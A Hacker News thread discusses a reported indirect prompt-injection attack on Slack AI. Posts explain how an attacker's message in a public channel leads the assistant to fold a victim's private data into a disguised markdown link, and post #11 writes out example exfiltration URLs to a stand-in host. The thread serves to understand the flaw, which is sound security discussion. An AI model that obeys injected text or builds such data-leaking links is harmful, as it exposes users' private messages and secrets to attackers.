Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Data Exfiltration from Slack AI via indirect prompt injection

promptarmor.substack.com

Post reply on HN
Print view View original

11–20 of 182 posts

Re: Data Exfiltration from Slack AI via indirect prompt injection

#11

Post by renewiltord »

candiddevmike wrote: post #5

From what I understand, folks need to stop giving their AI agents dedicated authentication. They should use the calling user's authentication for everything and effectively impersonate the user. I don't think the issue here is leaky context per say, it's effectively an overly privileged extension.

Normally, yes, that's just the confused deputy problem. This is an AI-assisted phishing attack.

You, the victim, query the AI for a secret thing.

The attacker has posted publicly (in a public channel where he is alone) a prompt-injection attack that has a link to exfiltrate the data. https://evil.guys?secret=my_super_secret_shit

The AI helpfully acts on your privileged info and takes the data from your secret channel and combines it with the data from the public channel and creates an innocuous looking message with a link https://evil.guys?secret=THE_ACTUAL_SECRET

You, the victim, click the link like a sucker and send evil.guys your secret. Nice one, mate. Shouldn't've clicked the link but you've gone and done it. If the thing can unfurl links that's even more risky but it doesn't look like it does. It does require user-interaction but it doesn't look like it's hard to do.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#12

Post by 0cf8612b2e1e »

jjmaxwell4 wrote: post #2

It's nuts how large and different the attack surfaces have gotten with AI

Human text is now untrusted code that is getting piped directly to evaluation.

You would not let users run random SQL snippets against the production database, but that is exactly what is happening now. Without ironclad permissions separations, going to be playing whack a mole.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#13

Post by HL33tibCe7 »

To summarise:

Attack 1:

* an attacker can make the Slack AI search results of a victim show arbitrary links containing content from the victim's private messages (which, if clicked, can result in data exfil)

Attack 2:

* an attacker can make Slack AI search results contain phishing links, which, in context, look somewhat legitimate/easy to fall for

Attack 1 seems more interesting, but neither seem particularly terrifying, frankly.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#14

Post by Groxx »

>The victim does not have to be in the public channel for the attack to work

Oh boy this is gonna be good.

>Note also that the citation [1] does not refer to the attacker’s channel. Rather, it only refers to the private channel that the user put their API key in. This is in violation of the correct citation behavior, which is that every message which contributed to an answer should be cited.

I really don't understand why anyone expects LLM citations to be correct. It has always seemed to me like they're more of a human hack, designed to trick the viewer into believing the output is more likely correct, without improving the correctness at all. If anything it seems likely to worsen the response's accuracy, as it adds processing cost/context size/etc.

This all also smells to me like it's inches away from Slack helpfully adding link expansion to the AI responses (I mean, why wouldn't they?)..... and then you won't even have to click the link to exfiltrate, it'll happen automatically just by seeing it.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#15

Post by aidos »

sagarm wrote: post #7
candiddevmike wrote: post #5

From what I understand, folks need to stop giving their AI agents dedicated authentication. They should use the calling user's authentication for everything and effectively impersonate the user. I don't think the issue here is leaky context per say, it's effectively an overly privileged extension.

This isn't a permission issue. The attacker puts a message into a public channel that injects malicious behavior into the context. The victim has permission to see their own messages and the attacker's message.

It’s effectively a subtle phishing attack (where a wrong click is game over).

It’s clever, and the probably the tip of the iceberg of the sort of issues we’re in for with these tools.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#16

Post by jjnoakes »

simonw wrote: post #10

The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI a…

It gets even worse when platforms blindly render img tags or the equivalent. Then no user interaction is required to exfil - just showing the image in the UI is enough.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#17

Post by jacobsenscott »

verandaguy wrote: post #6

Slack’s response here is alarming. If I’m getting the PoC correctly, this is data exfil from private channels, not public ones as their response seems to suggest. I’d want to know if you can prompt the AI to exfil data from private channels where the prompt author isn’t a member.

What's happening here is you can make the slack AI hallucinate a message that never existed by telling it to combine your private messages with another message in a public channel in arbitrary ways.

Slack claims it isn't a problem because the user doing the "ai assisted" search has permission to both the private and public data. However that data never existed in the format the AI responds with.

An attacker can make it return the data in such a way that just clicking on the search result makes private data public.

This is basic html injection using AI as the vector. I'm sure slack is aware how serious this is, but they don't have a quick fix so they are pretending it is intended behavior.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#18

Post by jacobsenscott »

jjnoakes wrote: post #16
simonw wrote: post #10

The key thing to understand here is the exfiltration vector. Slack can render Markdown links, where the URL is hidden behind the text of that link. In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI a…

It gets even worse when platforms blindly render img tags or the equivalent. Then no user interaction is required to exfil - just showing the image in the UI is enough.

Yup - all the basic HTML injection and xss attacks apply. All the OWASP webdev 101 security issues that have been mostly solved by web frameworks are back in force with AI.

Re: Data Exfiltration from Slack AI via indirect prompt injection

#19

Post by pera »

HL33tibCe7 wrote: post #13

To summarise: Attack 1: * an attacker can make the Slack AI search results of a victim show arbitrary links containing content from the victim's private messages (which, if clicked, can result in data exfil) Attack 2: * an attacker can make Slack AI search results contain phishing links, which, in context, look somewhat legitimate/easy to fall for Attack 1 seems more interesting, but neither seem particularly terrify…

Sounds like XSS for LLM chatbots: It's one of those things that maybe doesn't seem impressive (at least technically) but they are pretty effective in the real world
Post reply on HN